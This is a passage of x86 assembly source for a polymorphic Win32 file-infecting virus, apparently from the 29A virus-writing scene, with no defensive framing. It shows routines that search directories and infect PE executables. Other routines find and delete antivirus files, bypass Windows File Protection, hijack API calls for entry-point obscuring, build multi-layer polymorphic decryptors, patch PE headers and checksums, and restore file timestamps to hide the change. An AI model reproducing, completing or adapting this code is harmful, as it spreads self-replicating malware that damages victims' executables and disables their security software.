file ;============================================================ call FileInfection jmp short DoFindNext NoInterested: loop CheckExtLoop ;============================================================ ;None of our infectable extensions match ;Lets see if this file is an AV related file... ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] mov edi,esi call parse_filename ;Parse and reparse mov esi,edx call get_str_crc32 lea esi,dword ptr [ebp+TblCRC32AV] mov ecx,NumberOfAV CheckAVLoop: lodsd sub eax,edx jnz AvNoMatch ;============================================================ ;AV file found... Reset its attributes and delete it ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] push eax ; 00000000h push esi call dword ptr [ebp+a_SetFileAttributesA] push esi call dword ptr [ebp+a_DeleteFileA] jmp short DoFindNext AvNoMatch: loop CheckAVLoop ;============================================================ ;Before looking for more files lets sleep a while ;============================================================ DoFindNext: mov eax,00000800h call get_rnd_range add eax,00000400h push eax call dword ptr [ebp+a_Sleep] ;============================================================ ;Find next directory or file ;============================================================ push ebx ; lpFindFileData push dword ptr [ebx+FindStack_Ptr2FindHandle] call dword ptr [ebp+a_FindNextFileA] or eax,eax jnz GoFindRecord ErrorFindFirst: mov eax,00002000h call get_rnd_range add eax,00001000h push eax call dword ptr [ebp+a_Sleep] push dword ptr [ebx+FindStack_Ptr2FindHandle] call dword ptr [ebp+a_FindClose] mov esp,ebx add esp,SIZEOF_WIN32_FIND_DATA + 00000004h ret ;============================================================================ ;Infect PE files ; ;On entry: ; BufStrFilename -> Buffer that contains complete path and ; filename ; DirectFindData -> Win32 Find Data structure filled with ; information about the file to infect ;============================================================================ FileInfection: push ebx lea esi,dword ptr [ebp+BufStrFilename] mov edi,esi call parse_filename mov esi,edx ;**************************************************************************** ; mov eax,dword ptr [esi] ; cmp eax,'TAOG' ; jne ExitFileInf ;**************************************************************************** ;============================================================ ;Avoid some files from being infected ;============================================================ CheckFileName: push esi mov ecx,00000002h call get_crc32 lea esi,dword ptr [ebp+avoid_tbl] mov ecx,avoid_num AvoidLoop: lodsd cmp eax,edx jne NextAvoid pop esi jmp ExitFileInf NextAvoid: loop AvoidLoop pop esi lodsb cmp al,'.' jne CheckFileName ;============================================================ ;Check if file is protected by Windows File Protection ;(Windows 2000 only) ;============================================================ cmp dword ptr [ebp+hSFC],00000000h jz NotProtected lea eax,dword ptr [ebp+BufStrFilename] push eax push 00000000h call dword ptr [ebp+a_SfcIsFileProtected] or eax,eax jnz ExitFileInf ;============================================================ ;Try to infect this file ;============================================================ NotProtected: call TryAttach ;============================================================ ;Exit file infection ;============================================================ ExitFileInf: pop ebx ret ;============================================================================ ;Infect file routines ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;============================================================================ SEH_Block_0001 macro add esp,-cPushad jnz Ape_err endm ;============================================================ ;Open target file for read-only access ;============================================================ TryAttach: call FileMapRO or eax,eax jz inf_file_err ;============================================================ ;Register ebx contains the base address of the target file ;all along infection routines ;============================================================ mov ebx,eax ;============================================================ ;Check for MZ signature at base address ;============================================================ cld cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne inf_close_file ;============================================================ ;Check file address of relocation table ;============================================================ cmp word ptr [ebx+MZ_lfarlc],0040h jb inf_close_file ;============================================================ ;Now go to the pe header and check for the PE signature ;============================================================ mov esi,dword ptr [ebx+MZ_lfanew] mov eax,dword ptr [ebp+FileSizeOnDisk] shr eax,01h cmp esi,eax jae inf_close_file add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne inf_close_file ;============================================================ ;Check machine field in IMAGE_FILE_HEADER ;just allow i386 PE files ;============================================================ cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 jne inf_close_file ;============================================================ ;Now check the characteristics, look if file ;is an executable ;============================================================ mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ IMAGE_FILE_32BIT_MACHINE jz inf_close_file ;============================================================ ;Avoid DLL's ;============================================================ ; Removed to allow .CPL infection ; ; test ax,IMAGE_FILE_DLL ; jnz inf_close_file ;============================================================ ;Virus resides on last section ;============================================================ call get_last_sh jecxz inf_close_file ;============================================================ ;Check subsystem, only GUI applications allowed ;============================================================ movzx eax,word ptr [esi+OH_Subsystem] cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI jne inf_close_file ;============================================================ ;Save RVA of last section ;============================================================ mov eax,edi sub eax,ebx mov dword ptr [ebp+virus_sh],eax ;============================================================ ;This is an attempt to avoid offending PE file formats ;============================================================ mov eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_SizeOfRawData] add eax,dword ptr [esi+OH_FileAlignment] cmp eax,dword ptr [ebp+FileSizeOnDisk] jb inf_close_file ;============================================================ ;Save a pointer to imports ;============================================================ mov eax,dword ptr [esi+ \ OH_DataDirectory+ \ DE_Import+ \ DD_VirtualAddress] mov dword ptr [ebp+FileImport],eax ;============================================================ ;Go to relocations ;============================================================ mov eax,dword ptr [esi+ \ OH_DataDirectory+ \ DE_BaseReloc+ \ DD_VirtualAddress] or eax,eax jz cant_overwrite ;============================================================ ;Relocations section is the last section? ;============================================================ sub eax,dword ptr [edi+SH_VirtualAddress] jz got_vir_offset ;============================================================ ;We cant overwrite relocations... ;...lets attach the virus to the end of last section ;============================================================ cant_overwrite: mov eax,dword ptr [edi+SH_SizeOfRawData] mov edx,dword ptr [edi+SH_VirtualSize] cmp eax,edx jae got_vir_offset mov eax,edx got_vir_offset: add eax,dword ptr [edi+SH_PointerToRawData] mov dword ptr [ebp+vir_offset],eax ;============================================================ ;Search inside host code... ;============================================================ @SEH_SetupFrame xor ecx,ecx pushad call DoEPO mov dword ptr [esp+Pushad_ecx],ecx Ape_err: popad @SEH_RemoveFrame jecxz inf_close_file mov dword ptr [ebp+inject_offs],ecx ;============================================================ ;Close file... ;============================================================ call FileUnmapRO ;============================================================ ;...and remap with oversize ;============================================================ call FileMapRW or eax,eax jz inf_file_err add dword ptr [ebp+virus_sh],eax mov ebx,eax ;============================================================ ;Move virus to file ;============================================================ lea esi,dword ptr [ebp+viro_sys] mov edi,dword ptr [ebp+vir_offset] add edi,ebx push edi mov ecx,inf_size cld rep movsb ;============================================================ ;Save original code ;============================================================ mov esi,dword ptr [ebp+inject_offs] add esi,ebx pop edi push edi add edi,org_code-viro_sys cld movsb movsd ;============================================================ ;Save some registers on 1st decryptor ;============================================================ mov ecx,00000004h push ecx lea edi,dword ptr [ebp+TblStdPshP] cld CleanStdLoop: mov eax,00000004h sub eax,ecx stosd loop CleanStdLoop pop ecx push ecx lea edi,dword ptr [ebp+PshPStepIndex] GenTblStdLoop: mov eax,00000004h call get_rnd_range lea esi,dword ptr [ebp+TblStdPshP+eax*04h] lodsd cmp eax,0FFFFFFFFh jz GenTblStdLoop stosd mov dword ptr [esi-00000004h],0FFFFFFFFh loop GenTblStdLoop pop ecx lea esi,dword ptr [ebp+PshPStepIndex] pop edi push edi add edi,TblDoPolyPops-viro_sys DoPolyPopsLoop: lodsd lea edx,dword ptr [ebp+eax+TblDoPop] mov al,byte ptr [edx] stosb loop DoPolyPopsLoop ;============================================================ ;Prepare first decryptor mark ;============================================================ mov byte ptr [ebp+IsFirst],cl ;============================================================ ;Initialize size of all decryptors ;============================================================ mov dword ptr [ebp+decryptor_size],ecx ;============================================================ ;Get CRC32 of main virus body and save it for l8r use ;============================================================ pop esi push esi add esi,CRC_protected-viro_sys mov ecx,SizeOfProtect call get_crc32 pop edi mov dword ptr [edi+ViralChecksum-viro_sys],edx ;============================================================ ;Generate polymorphic encryption ;============================================================ add edi,inf_size mov edx,dword ptr [ebp+vir_offset] mov eax,NUMBER_OF_POLY_LAYERS call get_rnd_range inc eax inc eax mov ecx,eax each_layer: push ecx cmp ecx,00000001h jne Set1stFlag mov dword ptr [ebp+IsFirst],0FFh Set1stFlag: mov ecx,dword ptr [ebp+decryptor_size] add ecx,inf_size mov esi,dword ptr [ebp+vir_offset] call Mutate add dword ptr [ebp+decryptor_size],ecx pop ecx loop each_layer ;============================================================ ;Insert a call to virus code over the api call ;============================================================ mov edi,dword ptr [ebp+inject_offs] add edi,ebx mov al,0E8h stosb push edi ;============================================================ ;Calculate the CALL displacement ;============================================================ call get_code_sh mov eax,dword ptr [esi+OH_FileAlignment] mov dword ptr [ebp+raw_align],eax mov eax,dword ptr [ebp+inject_offs] sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] push eax mov eax,dword ptr [ebp+entry_point] sub eax,00000005h sub eax,ebx mov edi,dword ptr [ebp+virus_sh] sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] pop edx sub eax,edx pop edi stosd mov edi,dword ptr [ebp+virus_sh] ;============================================================ ;Set read/write access on virus section ;============================================================ or dword ptr [edi+SH_Characteristics], \ IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;============================================================ ;Dont share virus section ;============================================================ and dword ptr [edi+SH_Characteristics], \ not IMAGE_SCN_MEM_SHARED ;============================================================ ;Update SizeOfRawData ;============================================================ mov eax,dword ptr [ebp+vir_offset] add eax,dword ptr [ebp+decryptor_size] add eax,inf_size mov edx,dword ptr [edi+SH_PointerToRawData] mov dword ptr [ebp+fix_size],edx sub eax,edx cmp eax,dword ptr [edi+SH_SizeOfRawData] jbe RawSizeOk ;============================================================ ;If we changed SizeOfRawData round up to nearest ;file alignment ;============================================================ xor edx,edx mov ecx,dword ptr [ebp+raw_align] div ecx inc eax mul ecx mov edx,dword ptr [edi+SH_SizeOfRawData] mov dword ptr [edi+SH_SizeOfRawData],eax sub eax,edx test dword ptr [edi+SH_Characteristics], \ IMAGE_SCN_CNT_INITIALIZED_DATA jz RawSizeOk add dword ptr [esi+OH_SizeOfInitializedData],eax ;============================================================ ;Update VirtualSize ;============================================================ RawSizeOk: mov eax,dword ptr [edi+SH_SizeOfRawData] add dword ptr [ebp+fix_size],eax add eax,size_virtual-inf_size cmp eax,dword ptr [edi+SH_VirtualSize] jbe VirtualSizeOk mov dword ptr [edi+SH_VirtualSize],eax ;============================================================ ;Update SizeOfImage ;============================================================ VirtualSizeOk: mov eax,dword ptr [edi+SH_VirtualAddress] add eax,dword ptr [edi+SH_VirtualSize] xor edx,edx mov ecx,dword ptr [esi+OH_SectionAlignment] div ecx inc eax mul ecx mov dword ptr [esi+OH_SizeOfImage],eax ;============================================================ ;Find any data directory entry pointing to last section ;============================================================ mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES lea edx,dword ptr [esi+OH_DataDirectory] FDataPtr2Last: mov eax,dword ptr [edx] cmp eax,dword ptr [edi+SH_VirtualAddress] jne NextFDataPtr mov eax,dword ptr [edi+SH_VirtualSize] mov dword ptr [edx+00000004h],eax jmp short DoneFDataPtr NextFDataPtr: add edx,00000008h loop FDataPtr2Last ;============================================================ ;Clear BASE RELOCATION field ;============================================================ DoneFDataPtr: xor eax,eax lea edi,dword ptr [esi+ \ OH_DataDirectory+ \ DE_BaseReloc+ \ DD_VirtualAddress] cld stosd stosd ;============================================================ ;Compute new file checksum and update it on PE header ;============================================================ mov eax,dword ptr [ebp+fix_size] mov ecx,SIZE_PADDING xor edx,edx div ecx inc eax mul ecx push eax cmp dword ptr [ebp+hIMGHLP],00000000h jz NoChecksum mov byte ptr [ebx+eax],00h mov edx,eax lea esi,dword ptr [ebp+ChecksumPE] push esi ; CheckSum lodsd push esi ; HeaderSum push edx ; FileLength push ebx call dword ptr [ebp+a_CheckSumMappedFile] or eax,eax jz NoChecksum cmp dword ptr [esi],00000000h jz NoChecksum mov edx,dword ptr [esi-00000004h] mov dword ptr [eax+ \ NT_OptionalHeader.OH_CheckSum],edx ;============================================================ ;Mark file as infected and optimize file size ;============================================================ NoChecksum: pop eax mov dword ptr [ebp+FatSize],eax call FileUnmapRW ret ;============================================================ ;Close file mapping ;============================================================ inf_close_file: call FileUnmapRO inf_file_err: ret ;============================================================================ ;Scan host code ; ;On entry: ; ebx -> Memory image base address ;Exit: ; ecx -> Inject point offset in file ; or NULL if error ;============================================================================ DoEPO: mov edx,dword ptr [ebp+FileImport] call RVA2RAW mov dword ptr [ebp+ImportSH],edi call get_code_sh jecxz ExitApe mov eax,dword ptr [esi+OH_ImageBase] mov dword ptr [ebp+host_base],eax sub edx,dword ptr [edi+SH_VirtualAddress] mov ecx,dword ptr [edi+SH_SizeOfRawData] sub ecx,edx add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW lea esi,dword ptr [ebx+edx] search_call: push ecx xor eax,eax lodsb cmp al,0E8h ;Api call generated by Borland Linker? je try_borland cmp al,0FFh ;Api call generated by Microsoft Linker? je try_microsoft err_api_call: pop ecx loop search_call ExitApe: ret try_borland: mov eax,esi add eax,dword ptr [esi] ;Go to refered address sub eax,ebx ;Convert to rva mov edx,dword ptr [edi+SH_VirtualAddress] cmp eax,edx jb err_api_call ;Below code? add edx,dword ptr [edi+SH_VirtualSize] cmp eax,edx jae err_api_call ;Above code? cmp word ptr [eax+ebx-00000002h],25FFh ;JMP DWORD PTR [xxxx] jne err_api_call push dword ptr [eax+ebx] pop eax sub eax,dword ptr [ebp+host_base] ;Get a RVA again mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? sub eax,dword ptr [edx+SH_VirtualAddress] add eax,dword ptr [edx+SH_PointerToRawData] push dword ptr [eax+ebx] pop eax mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? found_place: ;Use this point? or better continue the search? call get_rnd_range test eax,01h jz err_api_call pop eax mov ecx,esi dec ecx sub ecx,ebx ret try_microsoft: cmp byte ptr [esi],15h jne err_api_call mov eax,dword ptr [esi+00000001h] sub eax,dword ptr [ebp+host_base] mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? sub eax,dword ptr [edx+SH_VirtualAddress] add eax,dword ptr [edx+SH_PointerToRawData] push dword ptr [eax+ebx] pop eax ;If file is binded eax contains the address of the API ;Lets check if eax points to a KERNEL32 API cmp eax,dword ptr [ebp+K32CodeStart] jb inside_import cmp eax,dword ptr [ebp+K32CodeEnd] jb found_place inside_import: mov edx,dword ptr [ebp+ImportSH] mov ecx,dword ptr [edx+SH_VirtualAddress] cmp eax,ecx jb err_api_call ;Below imports? add ecx,dword ptr [edx+SH_VirtualSize] cmp eax,ecx jae err_api_call ;Above imports? jmp found_place ;============================================================================ ;SEH handling routines coded by Jacky Qwerty / 29A ;============================================================================ SEH_Frame: sub edx,edx push dword ptr fs:[edx] mov fs:[edx],esp jmp [esp.(02h*Pshd).RetAddr] SEH_RemoveFrame:push 00000000h pop edx pop dword ptr [esp.(02h*Pshd).RetAddr] pop dword ptr fs:[edx] pop edx ret (Pshd) SEH_SetupFrame: call SEH_Frame mov eax,[esp.EH_ExceptionRecord] test byte ptr [eax.ER_ExceptionFlags], \ EH_UNWINDING or EH_EXIT_UNWIND mov eax,dword ptr [eax.ER_ExceptionCode] jnz SEH_Search add eax,-EXCEPTION_ACCESS_VIOLATION jnz SEH_Search mov esp,dword ptr [esp.EH_EstablisherFrame] mov dword ptr fs:[eax],esp jmp dword ptr [esp.(02h*Pshd).Arg1] SEH_Search: xor eax,eax ret ;============================================================================ ;FileMapRO open and map a file for read-only access ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;Exit: ; eax -> Base address of memory map for file or null if error ;============================================================================ ;============================================================ ;GetFileAttributes ;============================================================ FileMapRO: lea esi,dword ptr [ebp+BufStrFilename] push esi ; lpFileName call dword ptr [ebp+a_GetFileAttributesA] cmp eax,0FFFFFFFFh jne FileGetAttrOk FileGetAttrErr: xor eax,eax ret ;============================================================ ;CreateFile ( GENERIC_READ ) ;============================================================ FileGetAttrOk: mov dword ptr [ebp+CurFileAttr],eax xor edi,edi push edi ; hTemplateFile push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push OPEN_EXISTING ; dwCreationDisposition push edi ; lpSecurityAttributes push edi ; dwShareMode push GENERIC_READ ; dwDesiredAccess push esi ; lpFileName call dword ptr [ebp+a_CreateFileA] cmp eax,INVALID_HANDLE_VALUE je FileGetAttrErr ;============================================================ ;CreateFileMapping ( PAGE_READONLY ) ;============================================================ mov dword ptr [ebp+h_CreateFile],eax push edi ; lpName push edi ; dwMaximumSizeLow push edi ; dwMaximumSizeHigh push PAGE_READONLY ; flProtect push edi ; lpFileMappingAttributes push dword ptr [ebp+h_CreateFile] ; hFile call dword ptr [ebp+a_CreateFileMappingA] or eax,eax jnz OkFileMappingRO ErrFileMapRO: push dword ptr [ebp+h_CreateFile] call dword ptr [ebp+a_CloseHandle] jmp FileGetAttrErr ;============================================================ ;MapViewOfFile ;============================================================ OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax push edi ; dwNumberOfBytesToMap push edi ; dwFileOffsetLow push edi ; dwFileOffsetHigh push FILE_MAP_READ ; dwDesiredAccess push eax ; hFileMappingObject call dword ptr [ebp+a_MapViewOfFile] or eax,eax jnz FileViewOkRO FileViewErrorRO:push dword ptr [ebp+h_FileMap] call dword ptr [ebp+a_CloseHandle] jmp ErrFileMapRO ;============================================================ ;Ready! ;============================================================ FileViewOkRO: mov dword ptr [ebp+map_is_here],eax ret ;============================================================ ;UnmapRO ;============================================================ FileUnmapRO: push ebx call dword ptr [ebp+a_UnmapViewOfFile] jmp FileViewErrorRO ;============================================================================ ;FileMapRW open and map a file for read and write access ; ;On entry: ; BufStrFilename -> Buffer filled with path + filename ;Exit: ; eax -> Base address of memory map for file or null if error ;============================================================================ ;============================================================ ;Calculate size of infected file ;============================================================ FileMapRW: mov eax,dword ptr [ebp+vir_offset] add eax,( size_virtual * 02h ) + \ ( NUMBER_OF_POLY_LAYERS * 00004000h ) mov ecx,SIZE_PADDING xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+FatSize],eax ;============================================================ ;SetFileAttributes ;============================================================ lea esi,dword ptr [ebp+BufStrFilename] push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes push esi ; lpFileName call dword ptr [ebp+a_SetFileAttributesA] or eax,eax jnz FileSetAttrOk FileSetAttrErr: xor eax,eax ret ;============================================================ ;CreateFile ( GENERIC_READ or GENERIC_WRITE ) ;============================================================ FileSetAttrOk: xor edi,edi mov dword ptr [ebp+map_is_here],edi push edi ; hTemplateFile push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes push OPEN_EXISTING ; dwCreationDisposition push edi ; lpSecurityAttributes push edi ; dwShareMode push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess push esi ; lpFileName call dword ptr [ebp+a_CreateFileA] cmp eax,INVALID_HANDLE_VALUE jne FileOpenOkRW FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse! push dword ptr [ebp+CurFileAttr] ; dwFileAttributes push esi ; lpFileName call dword ptr [ebp+a_SetFileAttributesA] jmp FileSetAttrErr ;============================================================ ;CreateFileMapping ( PAGE_READWRITE ) ;============================================================ FileOpenOkRW: mov dword ptr [ebp+h_CreateFile],eax push edi ; lpName push dword ptr [ebp+FatSize] ; dwMaximumSizeLow push edi ; dwMaximumSizeHigh push PAGE_READWRITE ; flProtect push edi ; lpFileMappingAttributes push eax ; hFile call dword ptr [ebp+a_CreateFileMappingA] or eax,eax jnz FileMapOkRW FileMapErrorRW: cmp dword ptr [ebp+map_is_here],edi jz FileSizeIsOk mov esi,dword ptr [ebp+h_CreateFile] xor eax,eax push eax ; dwMoveMethod push eax ; lpDistanceToMoveHigh push dword ptr [ebp+FatSize] ; lDistanceToMove push esi ; hFile call dword ptr [ebp+a_SetFilePointer] cmp eax,0FFFFFFFFh je FileSizeIsOk push esi ; hFile call dword ptr [ebp+a_SetEndOfFile] lea edx,dword ptr [ebp+FT_LastWriteTime] push edx sub edx,00000008h push edx sub edx,00000008h push edx push esi call dword ptr [ebp+a_SetFileTime] FileSizeIsOk: push dword ptr [ebp+h_CreateFile] call dword ptr [ebp+a_CloseHandle] jmp FileOpenErrorRW ;============================================================ ;MapViewOfFile ;============================================================ FileMapOkRW: mov dword ptr [ebp+h_FileMap],eax push dword ptr [ebp+FatSize] ; dwNumberOfBytesToMap push edi ; dwFileOffsetLow push edi ; dwFileOffsetHigh push FILE_MAP_WRITE ; dwDesiredAccess push eax ; hFileMappingObject call dword ptr [ebp+a_MapViewOfFile] or eax,eax jnz FileViewOkRW FileViewErrorRW:push dword ptr [ebp+h_FileMap] call dword ptr [ebp+a_CloseHandle] jmp FileMapErrorRW FileViewOkRW: mov dword ptr [ebp+map_is_here],eax ret ;============================================================ ;UnmapRW ;============================================================ FileUnmapRW: push ebx call dword ptr [ebp+a_UnmapViewOfFile] jmp FileViewErrorRW ;============================================================================ ;Convert RVA to RAW ; ;On entry: ; ebx -> Host base address ; edx -> RVA to convert ;On exit: ; ecx -> Pointer to RAW data or NULL if error ; edx -> Section delta offset ; esi -> Pointer to IMAGE_OPTIONAL_HEADER ; edi -> Pointer to section header ;============================================================================ RVA2RAW: cld mov dword ptr [ebp+search_raw],edx mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] jecxz err_RVA2RAW movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add edi,esi ;============================================================ ;Get the IMAGE_SECTION_HEADER that contains RVA ; ;At this point: ; ;ebx -> File base address ;esi -> Pointer to IMAGE_OPTIONAL_HEADER ;edi -> Pointer to first section header ;ecx -> Number of sections ; ;Check if address of imports directory is inside this ;section ;============================================================ s_img_section: mov eax,dword ptr [ebp+search_raw] mov edx,dword ptr [edi+SH_VirtualAddress] sub eax,edx cmp eax,dword ptr [edi+SH_VirtualSize] jb section_ok ;============================================================ ;Go to next section header ;============================================================ out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER loop s_img_section err_RVA2RAW: ret ;============================================================ ;Get raw ;============================================================ section_ok: mov ecx,dword ptr [edi+SH_PointerToRawData] sub edx,ecx add ecx,eax add ecx,ebx ret ;============================================================================ ;Get code section header and entry-point information ; ;On entry: ; ebx -> Host base address ;On exit: ; ecx -> Pointer to RAW data or NULL if error ; edx -> Entry-point RVA ; esi -> Pointer to IMAGE_OPTIONAL_HEADER ; edi -> Pointer to section header ;============================================================================ get_code_sh: call get_last_sh mov edx,dword ptr [esi+OH_AddressOfEntryPoint] push edx call RVA2RAW pop edx ret ;============================================================================ ;Get pointer to last section header ; ;On entry: ; ebx -> Host base address ;On exit: ; esi -> IMAGE_OPTIONAL_HEADER ; edi -> Pointer to last section header ;============================================================================ get_last_sh: push ecx mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx cld lodsd movzx ecx,word ptr [esi+FH_NumberOfSections] dec ecx mov eax,IMAGE_SIZEOF_SECTION_HEADER mul ecx movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add eax,edx add eax,esi mov edi,eax pop ecx ret ;============================================================================ ;Generate data area suitable for memory write access ; ; edi -> Base address ; ecx -> Size ;============================================================================ gen_data_area: push eax push edx movzx eax,byte ptr [ebp+NumberOfDataAreas] cmp eax,NUM_DA jae no_more_da lea edx,dword ptr [ebp+tbl_data_area+eax*08h] mov eax,edi sub eax,dword ptr [ebp+map_is_here] add eax,dword ptr [ebp+host_base] push ecx mov ecx,dword ptr [ebp+virus_sh] sub eax,dword ptr [ecx+SH_PointerToRawData] add eax,dword ptr [ecx+SH_VirtualAddress] mov dword ptr [edx],eax pop ecx mov dword ptr [edx+00000004h],ecx inc byte ptr [ebp+NumberOfDataAreas] no_more_da: pop edx pop eax ret ;============================================================================ ;Generate a block of random data ;============================================================================ gen_rnd_block: mov eax,0000000Ah mov ecx,eax call get_rnd_range add ecx,eax call gen_data_area rnd_fill: mov eax,dword ptr [ebp+FileSizeOnDisk] dec eax sub eax,ecx call get_rnd_range add eax,dword ptr [ebp+map_is_here] mov esi,eax cld rep movsb ret ;============================================================================ ;Linear congruent pseudorandom number generator ;============================================================================ get_rnd32: push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,41C64E6Dh mul ecx add eax,00003039h and eax,7FFFFFFFh mov dword ptr [ebp+rnd32_seed],eax pop edx pop ecx ret ;============================================================================ ;Returns a random num between 0 and entry eax ;============================================================================ get_rnd_range: push ecx push edx mov ecx,eax call get_rnd32 xor edx,edx div ecx mov eax,edx pop edx pop ecx ret ;============================================================================ ;Perform encryption ;============================================================================ ;============================================================ ;This buffer will contain the code to "crypt" the virus code ;followed by a RET instruction ;============================================================ perform_crypt: db 10h dup (90h) ;============================================================================ ;Generate decryptor action: Load pointer ; ;We dont need to get delta-offset, this virus assumes fixed load address ;============================================================================ gen_load_ptr: mov al,0B8h or al,byte ptr [ebp+index_mask] stosb mov eax,dword ptr [ebp+host_base] add eax,dword ptr [ebp+PtrToCrypt] add eax,dword ptr [ebp+ptr_disp] mov edx,dword ptr [ebp+virus_sh] sub eax,dword ptr [edx+SH_PointerToRawData] add eax,dword ptr [edx+SH_VirtualAddress] test byte ptr [ebp+build_flags],CRYPT_DIRECTION jz fix_dir_ok push eax ;Fix upon direction call fixed_size2ecx xor eax,eax mov al,byte ptr [ebp+oper_size] push eax mul ecx pop ecx sub eax,ecx pop ecx add eax,ecx fix_dir_ok: stosd ret ;============================================================================ ;Generate decryptor action: Load counter ;============================================================================ ;============================================================ ;Easy now, just move counter random initial value ;into counter reg and calculate the end value ;============================================================ gen_load_ctr: mov al,0B8h or al,byte ptr [ebp+counter_mask] stosb call fixed_size2ecx call get_rnd32 stosd test byte ptr [ebp+build_flags],CRYPT_CDIR jnz counter_down counter_up: add eax,ecx jmp short done_ctr_dir counter_down: sub eax,ecx done_ctr_dir: mov dword ptr [ebp+end_value],eax ret ;============================================================================ ;Generate decryptor action: Decrypt ;============================================================================ gen_decrypt: mov eax,dword ptr [ebp+ptr_disp] mov dword ptr [ebp+fake_ptr_disp],eax mov eax,dword ptr [ebp+crypt_key] mov dword ptr [ebp+fake_crypt_key],eax mov al,byte ptr [ebp+build_flags] mov byte ptr [ebp+fake_build_flags],al mov al,byte ptr [ebp+oper_size] mov byte ptr [ebp+fake_oper_size],al mov al,byte ptr [ebp+index_mask] mov byte ptr [ebp+fake_index_mask],al call fake_or_not xor eax,eax mov al,byte ptr [ebp+oper_size] shr eax,01h shl eax,02h add esi,eax lodsd add eax,ebp mov esi,eax push edi lea edi,dword ptr [ebp+perform_crypt] loop_string: lodsb cmp al,MAGIC_ENDSTR je end_of_magic cmp al,MAGIC_ENDKEY je last_spell xor ecx,ecx mov cl,al rep movsb jmp short loop_string last_spell: call copy_key end_of_magic: mov al,0C3h stosb pop edi ret ;============================================================================ ;Copy encryption key into work buffer taking care about operand size ;============================================================================ copy_key: mov eax,dword ptr [ebp+fake_crypt_key] movzx ecx,byte ptr [ebp+fake_oper_size] loop_key: stosb shr eax,08h loop loop_key ret ;============================================================================ ;Generate decryptor action: Move index to next step ;============================================================================ ;============================================================ ;Get number of bytes to inc or dec the index reg ;============================================================ gen_next_step: movzx ecx,byte ptr [ebp+oper_size] ;============================================================ ;Get number of bytes to update with this instruction ;============================================================ loop_update: mov eax,ecx call get_rnd_range inc eax ;============================================================ ;Check direction ;============================================================ test byte ptr [ebp+build_flags],CRYPT_DIRECTION jnz step_down call do_step_up jmp short next_update step_down: call do_step_down next_update: sub ecx,eax call GenGarbageEx jecxz end_update jmp short loop_update end_update: ret ;============================================================ ;Move index_reg up ;============================================================ do_step_up: push eax mov eax,NumIdxUp call get_rnd_range lea esi,dword ptr [ebp+tbl_idx_up+eax*04h] lodsd add eax,ebp jmp eax IdxUpWithADD: mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax stosd ret IdxUpWithSUB: mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax neg eax stosd neg eax ret IdxUpWithINC: mov al,40h or al,byte ptr [ebp+index_mask] stosb pop eax mov eax,000000001h ret IdxUpADDADD: call save_it_ADD push eax mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx sub eax,edx neg eax stosd mov eax,edx ret IdxUpADDSUB: call save_it_ADD push eax mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx sub eax,edx stosd mov eax,edx ret IdxUpSUBSUB: call save_it_SUB push eax mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx add eax,edx neg eax stosd mov eax,edx ret IdxUpSUBADD: call save_it_SUB push eax mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx add eax,edx stosd mov eax,edx ret ;============================================================ ;Move index_reg down ;============================================================ do_step_down: push eax mov eax,NumIdxDown call get_rnd_range lea esi,dword ptr [ebp+tbl_idx_down+eax*04h] lodsd add eax,ebp jmp eax IdxDownWithADD: mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax neg eax stosd neg eax ret IdxDownWithSUB: mov ax,0E881h or ah,byte ptr [ebp+index_mask] stosw pop eax stosd ret IdxDownWithDEC: mov al,48h or al,byte ptr [ebp+index_mask] stosb pop eax mov eax,00000001h ret IdxDownADDADD: call save_it_ADD push eax mov ax,0C081h or ah,byte ptr [ebp+index_mask] stosw pop eax pop edx sub eax,edx neg eax stosd mov eax,edx ret 